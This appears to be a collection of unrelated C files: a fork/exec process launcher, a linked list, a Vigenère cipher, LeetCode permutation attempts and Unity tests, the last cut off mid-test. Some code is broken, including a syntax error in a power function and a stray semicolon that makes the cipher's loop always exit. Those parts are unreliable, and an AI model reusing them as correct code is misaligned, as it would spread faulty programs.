either the input, output, or error is not valid, * or the value is greater than the index, report error. * */ i = 0; while(i < 3) { if (file_arr[i] >= fd_ind || file_arr[i] < 0) { fprintf(stderr, "Invalid file no.\n"); fail_f = 1; } i++; } /* now that the subcommand line processing is finished * report the composition of the command flag if * the verbose flag is set * */ if (verbose) { printf("--command %d %d %d", file_arr[0], file_arr[1], file_arr[2]); i = 0; while (command[i] != NULL) { printf(" %s", command[i]); i++; } printf("\n"); } /* create a new process and attempt to execute the * subcommand * */ command_list[cmd_ind].child_pid = fork(); /* fork returns a positive number to the parent * process on success... * * free the command array to avoid memory leaks * */ if (command_list[cmd_ind].child_pid > 0) { /* * not clear about why the parent would * test the file descriptors at this point * */ i = 0; while(i < 3) { if (files[file_arr[i]].valid == 0) { fprintf(stderr, "File is not valid: %s. \n", files[file_arr[i]].name); fail_f = 1; } i++; } /* free the memory for the command array * */ i = 0; while(command[i] != NULL) { free(command[i]); i++; } free(command); } /* fork returns exactly zero to the child process * which now has a copy of the parent's memory * space on success... * */ else if (command_list[cmd_ind].child_pid == 0) { /* if we must declare it here... * let us put it at the top of the * section. * */ int exec; /* setup the i/o redirection * */ for (i = 0; i < 3; i++) { dup2(files[file_arr[i]].fd, i); } //closing the original files, now only have new dup for (i = 0; i < fd_ind; i++) { close(files[i].fd); } // create the new process exec = execvp(command[0], command); // die if the new process fails if (exec == -1) { exit(1); } } /* fork returns a negative number if there was an * error * */ else { fprintf(stderr, "Fork failed making child process.\n"); fail_f = 1; } /* on to the next process.... * */ cmd_ind++; /* move past the current options, so that * getopt doesn't process them * */ while(NULL != argv[optind] && ! (argv[optind][0] == '-' && argv[optind][1] == '-') ) { optind++; } profile_function("profile: --command"); break; /* **************************************************************************** * --verbose * */ case 'v': if (verbose) { printf("--verbose\n"); fflush(stdout); } verbose = 1; profile_function("profile: --verbose"); break; /* **************************************************************************** * --abort * */ case 'm': if (verbose) { printf("--abort \n"); fflush(stdout); } profile_function("profile: --abort"); raise(SIGSEGV); break; /* **************************************************************************** * --pipe * */ case 'n': if (verbose) { printf("--pipe\n"); fflush(stdout); } //0 is read; 1 is write newpipe = pipe(pipe_file_descriptors); if (newpipe < 0) { fprintf(stderr, "Cannot create a pipe for read and write.\n"); fail_f = 1; } // insert read and increment ptr files[fd_ind].fd = pipe_file_descriptors[0]; files[fd_ind].mode = _piperead; files[fd_ind].valid = 1; fd_ind++; // insert write and increment ptr files[fd_ind].fd = pipe_file_descriptors[1]; files[fd_ind].mode = _pipewrite; files[fd_ind].valid = 1; fd_ind++; profile_function("profile: --pipe"); break; /* **************************************************************************** * --pause * */ case 'o': if (verbose) { printf("--pause\n"); fflush(stdout); } // pause execution until further notice pause(); profile_function("profile: --pause"); break; /* **************************************************************************** * --catch N * */ case 'p': // read the mandatory argument as an integer... catch_sig = atoi(argv[optind - 1]); if (verbose) { printf("--catch %d\n", catch_sig); fflush(stdout); } // record the signal handler that was reset for this command command_list[cmd_ind].signal_catch = catch_sig; // update the handler update_signal_handler(catch_sig, signal_handler); profile_function("profile: --catch"); break; /* **************************************************************************** * --close N * */ case 'q': // read the mandatory argument as an integer... mandatory_n = atoi(argv[optind - 1]); if (verbose) { printf("--close %d\n", mandatory_n); fflush(stdout); } // close the file and update it's valid flag close(files[mandatory_n].fd); files[mandatory_n].valid = 0; profile_function("profile: --close"); break; /* **************************************************************************** * --wait * */ case 's': if (verbose) { printf("--wait\n"); fflush(stdout); } wait_f = 1; profile_function("profile: --wait"); break; /* **************************************************************************** * register the ignore handler for the mandatory parameter N * --ignore N * */ case 'u': // read the mandatory argument as an integer... ignore_sig = atoi(argv[optind - 1]); if (verbose) { printf("--ignore %d\n", ignore_sig); fflush(stdout); } // record the signal handler that was reset for this command command_list[cmd_ind].signal_ignore = ignore_sig; // update the handler update_signal_handler(ignore_sig, SIG_IGN); profile_function("profile: --ignore"); break; /* **************************************************************************** * restore our default signal handling for the mandatory parameter N * --default N * */ case 'z': // read the mandatory argument as an integer... default_sig = atoi(argv[optind - 1]); if (verbose) { printf("--default %d\n", default_sig); fflush(stdout); } // record the signal handler that was reset for the command command_list[cmd_ind].signal_default = default_sig; // update the handler update_signal_handler(default_sig, default_signal_handler); // now that the flag is processed collect timing information profile_function("profile: --default"); break; /* **************************************************************************** * --profile * */ case 'x': profile_f = 1; break; /* **************************************************************************** * handle the unknown/invalid arguments * */ default: // inform the user of the problem and terminate fprintf(stderr, "Not recognized argument."); exit(1); break; } /* the wait flag was previously specified... * */ if (wait_f == 1) { /* was there a previous command, if so * just stop and wait * */ if(0 < cmd_ind) { i = 0; while(i < cmd_ind) { waitpid(command_list[i].child_pid, &command_list[i].wstatus, 0); if( ! WIFCONTINUED(command_list[i].wstatus) && ! WIFSTOPPED(command_list[i].wstatus)) { if( command_list[i].report_f != _output_done) { if (WIFSIGNALED(command_list[i].wstatus)) { fprintf(stdout, "1126 signal %d %s ", WTERMSIG(command_list[i].wstatus), command_list[i].name); /* record the larger of the signal or the * current shell_wstatus * */ if(shell_wstatus < WTERMSIG(command_list[i].wstatus)) { shell_wstatus = WTERMSIG(command_list[i].wstatus); } } else if(WIFEXITED(command_list[i].wstatus)) { fprintf(stdout, "1140 exit %d %s ", WEXITSTATUS(command_list[i].wstatus), command_list[i].name); /* record the larger of the exit status or the * current shell_wstatus * */ if(shell_wstatus < WEXITSTATUS(command_list[i].wstatus)) { shell_wstatus = WEXITSTATUS(command_list[i].wstatus); } } j = 0; while (command_list[i].argument_list[j] != NULL) { fprintf(stdout, "%s ", command_list[i].argument_list[j]); j++; } fprintf(stdout, "\n"); } /* reset the wait flag because it wasn't for the shell * */ wait_f = 0; /* the shell has finished waiting for this process * */ command_list[i].wait_f = _done_waiting; /* the shell has reported on this process * */ command_list[i].report_f = _output_done; i++; } } } /* should the shell leave the flag set so that it waits * after processing or reset it because there are more * flags to read? else { } * */ profile_function("profile and wait in child processing loop"); wait_f = 0; } } /* **************************************************************************** * check on the child processes if any to get the proper return code * * initialized at the top of the option processing loop shell_wstatus = 0; * */ for (i = 0; i < cmd_ind; ++i) { /* **************************************************************************** * output for the catch flag * */ if (command_list[i].signal_catch != 0) { waitpid(command_list[i].child_pid, &command_list[i].wstatus, WNOHANG); if (WIFSIGNALED(command_list[i].wstatus)) { if (command_list[i].signal_catch == WTERMSIG(command_list[i].wstatus)) { fprintf(stderr, "%d caught\n", command_list[i].signal_catch); exit(command_list[i].signal_catch); } } } /* **************************************************************************** * was there a stray wait flag... * */ if(wait_f == 1 && command_list[i].wait_f != _done_waiting) { waitpid(command_list[i].child_pid, &command_list[i].wstatus, 0); /* should we test to see if it was signaled * or exited...status will have that information * */ fprintf(stdout, "1204 exit %d %s ", WEXITSTATUS(command_list[i].wstatus), command_list[i].name); j = 0; while (command_list[i].argument_list[j] != NULL) { fprintf(stdout, "%s ", command_list[i].argument_list[j]); j++; } fprintf(stdout, "\n"); profile_function("profile and wait" ); if(shell_wstatus < WEXITSTATUS(command_list[i].wstatus)) { shell_wstatus = WEXITSTATUS(command_list[i].wstatus); } } //profile_function("profile and not wait" ); } /* **************************************************************************** * housekeeping * */ free(files); free(command_list); /* **************************************************************************** * was there a failure/signal that the creating process should learn about, * if so how big is it * */ if (fail_f > 0) { exit(1); } exit(shell_wstatus); }
C
#include "clinklist.h" struct clinklist* createlinklist() { struct clinklist* ll = malloc(sizeof(struct clinklist)); ll->head = NULL; return ll; } struct node* createNode(struct data *d) { struct node* n = malloc(sizeof(struct node)); n->d = d; n->next = NULL; return n; } void addFront(struct clinklist *ll,struct data *d) { struct node *tNode = createNode(d); if(ll->head==NULL) { ll->head = tNode; tNode->next = ll->head; } else { struct node* temp = ll->head; tNode->next = ll->head; while(temp->next!=ll->head) { temp = temp->next; } temp->next = tNode; ll->head = tNode; } } void addBack(struct clinklist *ll,struct data* d) { struct node* n = createNode(d); struct node* temp = ll->head->next; while(temp->next != ll->head) { temp = temp->next; } temp->next = n; n->next = ll->head; } void printList(struct clinklist *ll) { if(ll->head == NULL) return; printData(ll->head->d); if(ll->head->next!=NULL) { struct node* temp = ll->head->next; while(temp!=ll->head) { printData(temp->d); temp=temp->next; } } }
C
#include <stdio.h> int main() { printf("hello, world\n"); //assign variables based on specification in p0 int myage = 19; char myname [] = "Kenny Gao"; char myalpha = 'F'; //print it out printf("My name is %s\n", myname); printf("My age is %d\n", myage); printf("My favourite alphabet is %c\n", myalpha); return 0; }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* file_sort_bonus.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tjinichi <tjinichi@student.42tokyo.jp> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/04/13 14:44:00 by tjinichi #+# #+# */ /* Updated: 2021/05/19 16:01:04 by tjinichi ### ########.fr */ /* */ /* ************************************************************************** */ #include "../../../bonus_includes/minishell_bonus.h" t_wild_lst *make_wildlst(char *value, t_wild_lst *next, t_wild_lst *qnext) { t_wild_lst *new; new = malloc(sizeof(t_wild_lst)); if (new == NULL) return (NULL); new->value = value; new->next = next; new->qnext = qnext; return (new); } static bool initial_enqueue(t_wild_lst **qhead, t_wild_lst **tail, t_wild_lst *lst) { t_wild_lst *begin; t_wild_lst *next; *qhead = make_wildlst(lst->value, NULL, NULL); if (*qhead == NULL) return (false); *tail = *qhead; begin = lst; lst = lst->next; while (lst) { next = lst->next; (*tail)->qnext = make_wildlst(lst->value, NULL, NULL); if ((*tail)->qnext == NULL) return (false); (*tail) = (*tail)->qnext; free(lst); lst = next; } free(begin); return (true); } static t_wild_lst *dequeue(t_wild_lst **qhead) { t_wild_lst *ret; t_wild_lst *tmp; ret = make_wildlst((*qhead)->value, (*qhead)->next, NULL); if (ret == NULL) return (NULL); tmp = (*qhead)->qnext; free(*qhead); *qhead = tmp; return (ret); } static t_wild_lst *merge(t_wild_lst *cmp1, t_wild_lst *cmp2) { t_wild_lst head; t_wild_lst *res; res = &head; while (cmp1 && cmp2) { if (ft_strcmp(cmp1->value, cmp2->value) < 0) { res->next = cmp1; res = cmp1; cmp1 = cmp1->next; } else { res->next = cmp2; res = cmp2; cmp2 = cmp2->next; } } if (cmp1 == NULL) res->next = cmp2; else res->next = cmp1; return (head.next); } t_wild_lst *file_sort(t_wild_lst *lst) { t_wild_lst *cmp1; t_wild_lst *cmp2; t_wild_lst *qhead; t_wild_lst *tail; if (initial_enqueue(&qhead, &tail, lst) == false) return (NULL); lst = dequeue(&qhead); if (lst == NULL) return (destroy_queue_(&qhead)); while (qhead) { tail->qnext = lst; tail = tail->qnext; cmp1 = dequeue(&qhead); if (cmp1 == NULL) return (destroy_queue_(&qhead)); cmp2 = dequeue(&qhead); if (cmp2 == NULL) return (destroy_queue_(&qhead)); lst = merge(cmp1, cmp2); } return (lst); }
C
#include <nested_prefabs.h> #include <stdio.h> // Nested prefabs make it possible to reuse an existing prefab inside another // prefab. An example of where this could be useful is a car with four wheels: // instead of defining four times what a wheel is a Car prefab can reference an // existing Wheel prefab. // // Nested prefabs can be created by adding a child that is a variant (inherits // from) another prefab. For more information on variants, see the variants // example. // // Instantiated children from a nested prefab still inherit from the original // prefab. The reason for this is that an instantiated child is an exact copy // of the prefab child, and the prefab child only has an IsA relationship to the // nested prefab. // // This example shows how auto overriding (see the auto override example) can be // used to give instantiated children from a nested prefab a private copy of an // inherited component. typedef struct { double value; } TirePressure; int main(int argc, char *argv[]) { ecs_world_t *ecs = ecs_init_w_args(argc, argv); ECS_COMPONENT(ecs, TirePressure); // Create a Wheel prefab, make sure each instantiated wheel has a private // copy of the TirePressure component. ecs_entity_t Wheel = ecs_new_prefab(ecs, "Wheel"); ecs_set(ecs, Wheel, TirePressure, { 32 }); ecs_override(ecs, Wheel, TirePressure); // Create a Car prefab with four wheels. Note how the wheel names are // prefixed with 'Car.', this is has the same effect as adding the // (ChildOf, Car) relationship. ecs_entity_t Car = ecs_new_prefab(ecs, "Car"); ecs_entity_t WheelFrontLeft = ecs_new_prefab(ecs, "Car.FrontLeft"); ecs_add_pair(ecs, WheelFrontLeft, EcsIsA, Wheel); ecs_entity_t WheelFrontRight = ecs_new_prefab(ecs, "Car.FrontRight"); ecs_add_pair(ecs, WheelFrontRight, EcsIsA, Wheel); ecs_entity_t WheelBackLeft = ecs_new_prefab(ecs, "Car.BackLeft"); ecs_add_pair(ecs, WheelBackLeft, EcsIsA, Wheel); ecs_entity_t WheelBackRight = ecs_new_prefab(ecs, "Car.BackRight"); ecs_add_pair(ecs, WheelBackRight, EcsIsA, Wheel); // Create a prefab instance. ecs_entity_t inst = ecs_new_entity(ecs, "my_car"); ecs_add_pair(ecs, inst, EcsIsA, Car); // Lookup one of the wheels ecs_entity_t inst_front_left = ecs_lookup_child(ecs, inst, "FrontLeft"); // The type shows that the child has a private copy of the TirePressure // component, and an IsA relationship to the Wheel prefab. char *type = ecs_type_str(ecs, ecs_get_type(ecs, inst_front_left)); printf("type: [%s]\n", type); ecs_os_free(type); // Get the TirePressure component & print its value const TirePressure *p = ecs_get(ecs, inst_front_left, TirePressure); printf("pressure: %f\n", p->value); // Output // type: [TirePressure, (Identifier,Name), (ChildOf,my_car), (IsA,Wheel)] // pressure: 32.000000 return ecs_fini(ecs); }
C
/************************************************************************** * MAIN1 * Pauses for 2 seconds then prints 'Hello World' to the debug stream * to display the debug stream: * -download the program to the cortex * -in the Robot menu select debugger * -go back to Robot; then go to the debugger window and select debug stream * ***************************************************************************/ int hailstone(int n) { //define the hailstone method writeDebugStream("%d \n", n); //prints the value of n after running through the if statement if (n == 1) { //if n == 1 then the hailstone function is over return 1; } else if (n%2 == 0) { //if n%2 == 0 then n is even and the algorithm will follow the definition for “if n is even” int next = n/2; // runs the hailstone function for the even integer return hailstone(next); //uses recursion to set n = to the next integer in //the hailstone function. Thereby, passing it back into the function //to print to the debug stream and find the following integer. } else if (n%2 == 1) { //if n%2 == 1 then n is odd an the algorithm will follow the definition for “if n is odd” int next = 3*n + 1; //runs the hailstone function for the odd integer return hailstone(next); //same as the past recursive step } else return 1; //returns 1 as a failsafe. } task main() // the main method { wait1Msec(2000); //waits for the robot operating system hailstone(7); // runs the hailstone function with a starting value of 7 }
C
#include <stdio.h> #include <stdlib.h> #include <string.h> #define max 1024 // 1 KB void strupr(char *t); void key_message(char *message, char *key, char *enc); void encrypt(char *msg, char *key); void decrypt(char *msg, char *key); void check(char *text); const char table[][28] = { " ABCDEFGHIJKLMNOPQRSTUVWXYZ\0", "AABCDEFGHIJKLMNOPQRSTUVWXYZ\0", "BBCDEFGHIJKLMNOPQRSTUVWXYZA\0", "CCDEFGHIJKLMNOPQRSTUVWXYZAB\0", "DDEFGHIJKLMNOPQRSTUVWXYZABC\0", "EEFGHIJKLMNOPQRSTUVWXYZABCD\0", "FFGHIJKLMNOPQRSTUVWXYZABCDE\0", "GGHIJKLMNOPQRSTUVWXYZABCDEF\0", "HHIJKLMNOPQRSTUVWXYZABCDEFG\0", "IIJKLMNOPQRSTUVWXYZABCDEFGH\0", "JJKLMNOPQRSTUVWXYZABCDEFGHI\0", "KKLMNOPQRSTUVWXYZABCDEFGHIJ\0", "LLMNOPQRSTUVWXYZABCDEFGHIJK\0", "MMNOPQRSTUVWXYZABCDEFGHIJKL\0", "NNOPQRSTUVWXYZABCDEFGHIJKLM\0", "OOPQRSTUVWXYZABCDEFGHIJKLMN\0", "PPQRSTUVWXYZABCDEFGHIJKLMNO\0", "QQRSTUVWXYZABCDEFGHIJKLMNOP\0", "RRSTUVWXYZABCDEFGHIJKLMNOPQ\0", "SSTUVWXYZABCDEFGHIJKLMNOPQR\0", "TTUVWXYZABCDEFGHIJKLMNOPQRS\0", "UUVWXYZABCDEFGHIJKLMNOPQRST\0", "VVWXYZABCDEFGHIJKLMNOPQRSTU\0", "WWXYZABCDEFGHIJKLMNOPQRSTUV\0", "XXYZABCDEFGHIJKLMNOPQRSTUVW\0", "YYZABCDEFGHIJKLMNOPQRSTUVWX\0", "ZZABCDEFGHIJKLMNOPQRSTUVWXY\0"}; int main(){ char message[max], key[max]; int op; while(1){ printf("\nInsert:\n\t0 to close the program.\n\t1 to encrypt a message.\n\t2 to decrypt a message.\n -> "); if(scanf("%d", &op) == -1) break; if(op < 0 || op > 2); break; printf("\nInsert the message: "); getchar(); scanf("%[^\n]s", message); getchar(); printf("\nInsert the key (word): "); scanf("%[^\n]s", key); strupr(message); strupr(key); check(message); check(key); op == 1 ? encrypt(message, key) : decrypt(message, key); } return 0; } void strupr(char *t){ for(int i = 0; i < strlen(t); i++) if(t[i] > 96 && t[i] < 123) t[i] -= 32; } // Modify the string to store the key in message (e.g.: vigenere (message) code (key) -> codecode) void key_message(char *message, char *key, char *enc){ for(int i = 0, j = 0; message[i] != '\0'; i++){ if(message[i] > 64 && message[i] < 91){ while(!(key[j] > 64 && key[j] < 91)){ j++; if(j == strlen(key)) j ^= j; } enc[i] = key[j]; j++; if(j == strlen(key)) j ^= j; } else enc[i] = message[i]; } enc[strlen(message)] = '\0'; } void encrypt(char *msg, char *key){ char enc[strlen(msg)]; key_message(msg, key, enc); for(int i = 0; msg[i] != '\0'; i++) if(enc[i] > 64 && enc[i] < 91) enc[i] = table[enc[i]-64][msg[i]-64]; printf("\nEncrypted message:\n%s\n", enc); } void decrypt(char *msg, char *key){ char dec[strlen(msg)]; key_message(msg,key,dec); for(int i = 0; msg[i] != '\0'; i++){ if(dec[i] > 64 && dec[i] < 91) for(int j = 1; j < 27; j++){ if(table[dec[i]-64][j] == msg[i]){ dec[i] = table[0][j]; break; } } } printf("\nDecrypted message:\n%s\n", dec); } // Check if the text has letters void check(char *text){ for(int i = 0; text[i] != '\0'; i++) if(text[i] > 64 && text[i] < 91) return; printf("\nText don't have letters.\n"); exit(1); }
C
// //123 //213 12 //231 23 //132 31 //312 12 //321 23 // //1234 // // // // // i + k + 1 #include <stdio.h> #include <stdlib.h> #include <string.h> void swap(int *a, int *b) { int temp = *a; *a = *b; *b = temp; } //231 //132 //312 //321 // //1324 //1342 //2341 //2431 // //1 * 2 * 3 * 4 * 5 int** permute(int* nums, int numsSize, int* returnSize, int** returnColumnSizes){ int *p; int total = 1; int **ret = NULL; *returnColumnSizes = NULL; *returnSize = 0; int i = 0; int pre = i; int size = numsSize; int flag = size * (size - 1); for (int k = 2; k <= numsSize; k++) { total *= k; } for (int k = 0; k < total; k++) { swap(&nums[i % numsSize], &nums[(i + 1) % numsSize]); for (int j = 0; j < numsSize; j++) { printf("%d ", nums[j]); } putchar('\n'); p = malloc(sizeof(int) * numsSize); ret = realloc(ret, (*returnSize + 1) * sizeof(int*)); *returnColumnSizes = realloc(*returnColumnSizes, (*returnSize + 1) * sizeof(int)); memcpy(p, nums, numsSize * sizeof(int)); ret[*returnSize] = p; (*returnColumnSizes)[*returnSize] = numsSize; (*returnSize)++; if ((k + 1) % flag == 0) { i = pre++; } i++; } return ret; } //1234 /** int arr[6]; */ /** int size; */ /** void swap(int *a, int *b) { */ /** int temp = *a; */ /** *a = *b; */ /** *b = temp; */ /** } */ /** void gen(int **nums, int ***ret, int **returnColumnSizes, int *returnSize, int index) { */ /** if (index >= size) { */ /** int *p = malloc(sizeof(int) * size); */ /** (*ret) = realloc(*ret, (*returnSize + 1) * sizeof(int*)); */ /** *returnColumnSizes = realloc(*returnColumnSizes, (*returnSize + 1) * sizeof(int)); */ /** memcpy(p, nums, size * sizeof(int)); */ /** (*ret)[*returnSize] = p; */ /** (*returnColumnSizes)[*returnSize] = size; */ /** (*returnSize)++; */ /** return; */ /** } */ /** for (int i = k; k < numsSize; k++) { */ /** arr[index] = nums[k]; */ /** swap(&nums[k], &nums[i]); */ /** gen(nums, ret, returnColumnSizes, returnSize, index + 1); */ /** swap(&nums[k], &nums[i]); */ /** } */ /** } */ /** int** permute(int* nums, int numsSize, int* returnSize, int** returnColumnSizes){ */ /** int **ret = NULL; */ /** *returnColumnSizes = NULL; */ /** *returnSize = 0; */ /** size = numsSize; */ /** gen(nums, &ret, returnColumnSizes, returnSize, 0); */ /** return ret; */ /** } */ //112 int arr[8]; int l, size; void gen(int list[][2], int ***ret, int **returnColumnSizes, int *returnSize, int index) { // printf("%d ", arr[i]); // } // printf("\n"); if (index >= size) { int *p = malloc(sizeof(int) * size); (*ret) = realloc(*ret, (*returnSize + 1) * sizeof(int*)); *returnColumnSizes = realloc(*returnColumnSizes, (*returnSize + 1) * sizeof(int)); memcpy(p, arr, size * sizeof(int)); (*ret)[*returnSize] = p; (*returnColumnSizes)[*returnSize] = size; (*returnSize)++; return; } // for (int i = 0; i < l; i++) { // printf("%d %d\n", list[i][0], list[i][1]); // } // printf("**\n"); for (int i = 0; i < l; i++) { if (list[i][1] < 1) continue; arr[index] = list[i][0]; list[i][1]--; gen(list, ret, returnColumnSizes, returnSize, index + 1); list[i][1]++; /** swap(&list[i], &list[k]); */ } } // //0 1 2 4 8 16 33 //63 31 + 1 15 + 1 7 + 1 3 + 1 2 + 1 //2 4 8 16 //37 2 4 8 16 4 + 1->9->18-> 36 double calculate(double x, int n) { if (n == 0) { return 1.0; } double r = calculate(x, n / 2); return n % 2 == 0 ? r * r : r * r x; } double cal(double x, int n) { double total = 1; int stack[32]; int index = -1; while (n > 0) { stack[++index] = n >> 1; n >>= 1; } for (; index >= 0; index--) { if (stack[index] == 1) { total *= x; } total *= total; } return total; } double calcul(double x, long long n) { double total = 1.0; double xn = x; while (x > 0) { if (x & 1) { total *= xn; } xn *= xn; x >>= 1; } return total; } double myPow(double x, int n){ return n >= 0 ? calculate(x, n) : 1 /calculate(x, -n); } int** permuteUnique(int* nums, int numsSize, int* returnSize, int** returnColumnSizes){ int **ret = NULL; *returnColumnSizes = NULL; *returnSize = 0; int map[21] = {0}; int list[8][2]; size = numsSize; l = 0; for (int i = 0; i < numsSize; i++) { map[nums[i] + 10]++; } for (int i = 0; i < 20; i++) { if (map[i]) { list[l][0] = i - 10; list[l++][1] = map[i]; } } gen(list, &ret, returnColumnSizes, returnSize, 0); return ret; } int main(void) { int *returnColumnSizes; int length; permute((int []){1, 2, 3, 4}, 4, &length, &returnColumnSizes); }
C
/** * Copyright (C) 2013-2015 * * @author coding.tom@gmail.com * @date 2013-7-9 * * @file tiny_malloc.c * * @remark * set tabstop=4 * set shiftwidth=4 * set expandtab * */ #include "tiny_malloc.h" #if 0 #include "esp_system.h" void * tiny_malloc(size_t size) { void *v = malloc(size); if (v == NULL) { printf("tiny_malloc %d failed, free heap size: %d\n", (int)size, esp_get_free_heap_size()); } return v; } void * tiny_calloc(size_t n, size_t size) { void *v = calloc(n, size); if (v == NULL) { printf("tiny_calloc %d failed, free heap size: %d\n", (int)size, esp_get_free_heap_size()); } return v; } void * tiny_realloc(void *p, size_t size) { void *v = realloc(p, size); if (v == NULL) { printf("tiny_realloc %d failed, free heap size: %d\n", (int)size, esp_get_free_heap_size()); } return v; } void tiny_free(void *p) { free(p); } #endif
C
//program to check whether sum of squares of sine and cosine of any angle is equal to 1 #include<stdio.h> #include<math.h> int main() { float theta,sum; //theta=angle, sum=sum of squares of sine and cosine of angle printf("____Prove that Sum of squares of sine and cosine of any angle is equal to 1_____\n"); printf("Enter the value of the angle : "); scanf("%f",&theta); sum = sqrt(pow(sin(theta),2)+(pow(cos(theta),2))); //calculate sum of squares of sine and cosine of angle printf("%.2f",sum); return 0; }
C
//Determine how many years are necessary to reach p inhabitants in a town of //p0 inhabitants, increasing each year by p(y)+p(y)*percent+aug #include <stdio.h> int nbYear(int p0, double percent, int aug, int p) { int nb = 0; while(p0<p) { p0+=p0*(percent/100)+aug; nb++; } return nb; } int main(int argc, char const *argv[]) { printf("nb : %d", nbYear(1500000, 2.5, 10000, 2000000)); return 0; }
C
#include "signed_char_array.h" #include "unity.h" #include "unity_fixture.h" TEST_GROUP(SignedCharArrayTests); SignedCharArray signedCharArray; SignedCharArray otherSignedCharArray; TEST_SETUP(SignedCharArrayTests) { SignedCharArrayInitialize(&signedCharArray); SignedCharArrayInitialize(&otherSignedCharArray); } TEST_TEAR_DOWN(SignedCharArrayTests) { SignedCharArrayDeinitialize(&signedCharArray); SignedCharArrayDeinitialize(&otherSignedCharArray); } TEST(SignedCharArrayTests, SignedCharArrayInitialLength) { TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayInitialCapacity) { TEST_ASSERT_EQUAL(GA_INITIAL_CAPACITY, signedCharArray.capacity); } TEST(SignedCharArrayTests, SignedCharArrayInitializeFromEmptyPointer) { signed char values[] = { }; int result = SignedCharArrayInitializeFromPointer(&signedCharArray, values, 0); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, SignedCharArrayCount(&signedCharArray)); } TEST(SignedCharArrayTests, SignedCharArrayInitializeFromPointer) { signed char values[5] = { 'A', 'B', 'C', 'D', 'E' }; int result = SignedCharArrayInitializeFromPointer(&signedCharArray, values, 5); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(5, SignedCharArrayCount(&signedCharArray)); } TEST(SignedCharArrayTests, SignedCharArrayPushOneElement) { int result = SignedCharArrayPush(&signedCharArray, 'A'); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(1, signedCharArray.length); TEST_ASSERT_EQUAL(GA_INITIAL_CAPACITY, signedCharArray.capacity); } TEST(SignedCharArrayTests, SignedCharArrayPushCapacityPlusOneElements) { int result; for (size_t i = 0; i < GA_INITIAL_CAPACITY + 1; i++) { result = SignedCharArrayPush(&signedCharArray, (signed char)(i % 255)); TEST_ASSERT_EQUAL(GA_SUCCESS, result); } TEST_ASSERT_EQUAL(GA_INITIAL_CAPACITY + 1, signedCharArray.length); TEST_ASSERT_EQUAL(GA_INITIAL_CAPACITY * GA_CAPACITY_MULTIPLIER, signedCharArray.capacity); } TEST(SignedCharArrayTests, SignedCharArrayAtZeroLength) { signed char x; int result = SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArrayAtExistingElement) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); signed char x; int result = SignedCharArrayAt(&signedCharArray, 2, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('C', x); } TEST(SignedCharArrayTests, SignedCharArrayAtLessThanZeroIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); signed char x; int result = SignedCharArrayAt(&signedCharArray, -2, &x); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL('D', x); } TEST(SignedCharArrayTests, SignedCharArrayAtGreaterThanLengthIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); signed char x; int result = SignedCharArrayAt(&signedCharArray, 5, &x); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArrayAtLessThanNegativeLengthIndex) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); signed char x; int result = SignedCharArrayAt(&signedCharArray, -6, &x); TEST_ASSERT_EQUAL(GA_ERROR_INDEX_OUT_OF_BOUNDS, result); } TEST(SignedCharArrayTests, SignedCharArrayClear) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); SignedCharArrayPush(&signedCharArray, 'C'); SignedCharArrayPush(&signedCharArray, 'D'); SignedCharArrayPush(&signedCharArray, 'E'); int result = SignedCharArrayClear(&signedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayConcatEmptyArrays) { int result = SignedCharArrayConcat(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(0, signedCharArray.length); } TEST(SignedCharArrayTests, SignedCharArrayConcatEmptyArrayToNonEmptyArray) { SignedCharArrayPush(&signedCharArray, 'A'); SignedCharArrayPush(&signedCharArray, 'B'); int result = SignedCharArrayConcat(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(2, signedCharArray.length); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); TEST_ASSERT_EQUAL('B', x); } TEST(SignedCharArrayTests, SignedCharArrayConcatNonEmptyArrayToEmptyArray) { SignedCharArrayPush(&otherSignedCharArray, 'A'); SignedCharArrayPush(&otherSignedCharArray, 'B'); int result = SignedCharArrayConcat(&signedCharArray, &otherSignedCharArray); TEST_ASSERT_EQUAL(GA_SUCCESS, result); TEST_ASSERT_EQUAL(2, signedCharArray.length); signed char x; SignedCharArrayAt(&signedCharArray, 0, &x); TEST_ASSERT_EQUAL('A', x); SignedCharArrayAt(&signedCharArray, 1, &x); 